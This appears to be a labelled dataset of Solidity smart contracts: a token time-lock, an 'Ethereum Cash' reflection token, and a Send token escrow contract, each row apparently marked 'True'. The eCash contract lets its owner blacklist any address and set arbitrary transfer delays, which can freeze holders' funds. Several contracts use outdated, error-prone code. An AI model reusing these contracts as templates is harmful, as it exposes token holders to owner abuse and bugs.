@return string
*/
function baseURI() public view virtual returns (string memory) {
return _baseUri;
}
} | True | [
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|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 29462400;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x111043380076f272595dcb6e0fC029073203a380
;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | True | [
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|
// Ethereum Cash (eCash)
// Telegram t.me/ethereumcashtoken
// Website: www.ethereumcashtoken.com
// Twitter: https://twitter.com/0xethercash
//
// .----------------. .----------------. .----------------. .----------------. .----------------.
//| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
//| | _________ | || | ______ | || | __ | || | _______ | || | ____ ____ | |
//| | |_ ___ | | || | .' ___ | | || | / \ | || | / ___ | | || | |_ || _| | |
//| | | |_ \_| | || | / .' \_| | || | / /\ \ | || | | (__ \_| | || | | |__| | | |
//| | | _| _ | || | | | | || | / ____ \ | || | '.___`-. | || | | __ | | |
//| | _| |___/ | | || | \ `.___.'\ | || | _/ / \ \_ | || | |`\____) | | || | _| | | |_ | |
//| | |_________| | || | `._____.' | || ||____| |____|| || | |_______.' | || | |____||____| | |
//| | | || | | || | | || | | || | | |
//| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' |
// '----------------' '----------------' '----------------' '----------------' '----------------'
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: openzeppelin-solidity\contracts\utils\Address.sol
// SPDX-License-Identifier: MIT
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.6.2;
contract eCASH is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private bot;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private ignoreDelay;
mapping (address => uint256) private waitTime;
uint16 private delayTime = 20;
bool private delay = true;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1 * 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Ethereum Cash';
string private _symbol = 'eCash';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function isDelay() public view returns(bool){
return delay;
}
function currentDelayTime() public view returns(uint16){
return delayTime;
}
function isRouter(address router) public view returns(bool){
return ignoreDelay[router];
}
function switchDelay() public onlyOwner{
delay = !delay;
}
function setDelayTime(uint16 value) public onlyOwner{
delayTime = value;
}
function setRouter(address router) public onlyOwner{
ignoreDelay[router] = !ignoreDelay[router];
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setBot(address blist) external onlyOwner returns (bool){
bot[blist] = !bot[blist];
return bot[blist];
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bot[sender], "Play fair");
if(delay && !ignoreDelay[sender]){
require(block.number > waitTime[sender],"Please wait");
}
waitTime[recipient]=block.number + delayTime;
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.mul(10).div(100);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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|
pragma solidity ^0.4.18;
// File: contracts/IEscrow.sol
/**
* @title Escrow interface
*
* @dev https://send.sd/token
*/
interface IEscrow {
event Created(
address indexed sender,
address indexed recipient,
address indexed arbitrator,
uint256 transactionId
);
event Released(address indexed arbitrator, address indexed sentTo, uint256 transactionId);
event Dispute(address indexed arbitrator, uint256 transactionId);
event Paid(address indexed arbitrator, uint256 transactionId);
function create(
address _sender,
address _recipient,
address _arbitrator,
uint256 _transactionId,
uint256 _tokens,
uint256 _fee,
uint256 _expiration
) public;
function fund(
address _sender,
address _arbitrator,
uint256 _transactionId,
uint256 _tokens,
uint256 _fee
) public;
}
// File: contracts/ISendToken.sol
/**
* @title ISendToken - Send Consensus Network Token interface
* @dev token interface built on top of ERC20 standard interface
* @dev see https://send.sd/token
*/
interface ISendToken {
function transfer(address to, uint256 value) public returns (bool);
function isVerified(address _address) public constant returns(bool);
function verify(address _address) public;
function unverify(address _address) public;
function verifiedTransferFrom(
address from,
address to,
uint256 value,
uint256 referenceId,
uint256 exchangeRate,
uint256 fee
) public;
function issueExchangeRate(
address _from,
address _to,
address _verifiedAddress,
uint256 _value,
uint256 _referenceId,
uint256 _exchangeRate
) public;
event VerifiedTransfer(
address indexed from,
address indexed to,
address indexed verifiedAddress,
uint256 value,
uint256 referenceId,
uint256 exchangeRate
);
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/Escrow.sol
/**
* @title Vesting contract for SDT
* @dev see https://send.sd/token
*/
contract Escrow is IEscrow, Ownable {
using SafeMath for uint256;
ISendToken public token;
struct Lock {
address sender;
address recipient;
uint256 value;
uint256 fee;
uint256 expiration;
bool paid;
}
mapping(address => mapping(uint256 => Lock)) internal escrows;
function Escrow(address _token) public {
token = ISendToken(_token);
}
modifier tokenRestricted() {
require(msg.sender == address(token));
_;
}
/**
* @dev Create a record for held tokens
* @param _arbitrator Address to be authorized to spend locked funds
* @param _transactionId Intenral ID for applications implementing this
* @param _tokens Amount of tokens to lock
* @param _fee A fee to be paid to arbitrator (may be 0)
* @param _expiration After this timestamp, user can claim tokens back.
*/
function create(
address _sender,
address _recipient,
address _arbitrator,
uint256 _transactionId,
uint256 _tokens,
uint256 _fee,
uint256 _expiration
) public tokenRestricted {
require(_tokens > 0);
require(_fee >= 0);
require(escrows[_arbitrator][_transactionId].value == 0);
escrows[_arbitrator][_transactionId].sender = _sender;
escrows[_arbitrator][_transactionId].recipient = _recipient;
escrows[_arbitrator][_transactionId].value = _tokens;
escrows[_arbitrator][_transactionId].fee = _fee;
escrows[_arbitrator][_transactionId].expiration = _expiration;
Created(_sender, _recipient, _arbitrator, _transactionId);
}
/**
* @dev Fund escrow record
* @param _arbitrator Address to be authorized to spend locked funds
* @param _transactionId Intenral ID for applications implementing this
* @param _tokens Amount of tokens to lock
* @param _fee A fee to be paid to arbitrator (may be 0)
*/
function fund(
address _sender,
address _arbitrator,
uint256 _transactionId,
uint256 _tokens,
uint256 _fee
) public tokenRestricted {
require(escrows[_arbitrator][_transactionId].sender == _sender);
require(escrows[_arbitrator][_transactionId].value == _tokens);
require(escrows[_arbitrator][_transactionId].fee == _fee);
require(escrows[_arbitrator][_transactionId].paid == false);
escrows[_arbitrator][_transactionId].paid = true;
Paid(_arbitrator, _transactionId);
}
/**
* @dev Transfer a locked amount
* @notice Only authorized address
* @notice Exchange rate has 18 decimal places
* @param _sender Address with locked amount
* @param _recipient Address to send funds to
* @param _transactionId App/user internal associated ID
* @param _exchangeRate Rate to be reported to the blockchain
*/
function release(
address _sender,
address _recipient,
uint256 _transactionId,
uint256 _exchangeRate
) public {
Lock memory lock = escrows[msg.sender][_transactionId];
require(lock.sender == _sender);
require(lock.recipient == _recipient || lock.sender == _recipient);
require(lock.paid);
token.transfer(_recipient, lock.value);
if (lock.fee > 0) {
token.transfer(msg.sender, lock.fee);
}
delete escrows[msg.sender][_transactionId];
token.issueExchangeRate(
_sender,
_recipient,
msg.sender,
lock.value,
_transactionId,
_exchangeRate
);
Released(msg.sender, _recipient, _transactionId);
}
/**
* @dev Claim back locked amount after expiration time
* @dev Cannot be claimed if expiration == 0
* @notice Only works after lock expired
* @param _arbitrator Authorized lock address
* @param _transactionId transactionId ID from App/user
*/
function claim(
address _arbitrator,
uint256 _transactionId
) public {
Lock memory lock = escrows[_arbitrator][_transactionId];
require(lock.sender == msg.sender);
require(lock.paid);
require(lock.expiration < block.timestamp);
require(lock.expiration != 0);
delete escrows[_arbitrator][_transactionId];
token.transfer(msg.sender, lock.value.add(lock.fee));
Released(
_arbitrator,
msg.sender,
_transactionId
);
}
/**
* @dev Remove expiration time on a lock
* @notice User wont be able to claim tokens back after this is called by arbitrator address
* @notice Only authorized address
* @param _transactionId App/user internal associated ID
*/
function mediate(
uint256 _transactionId
) public {
require(escrows[msg.sender][_transactionId].paid);
escrows[msg.sender][_transactionId].expiration = 0;
Dispute(msg.sender, _transactionId);
}
/**
This function is a way to get other ETC20 tokens
back to their rightful owner if sent by mistake
*/
function transferToken(address _tokenAddress, address _transferTo, uint256 _value) public onlyOwner {
require(_tokenAddress != address(token));
ISendToken erc20Token = ISendToken(_tokenAddress);
erc20Token.transfer(_transferTo, _value);
}
} | True | [
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|
pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
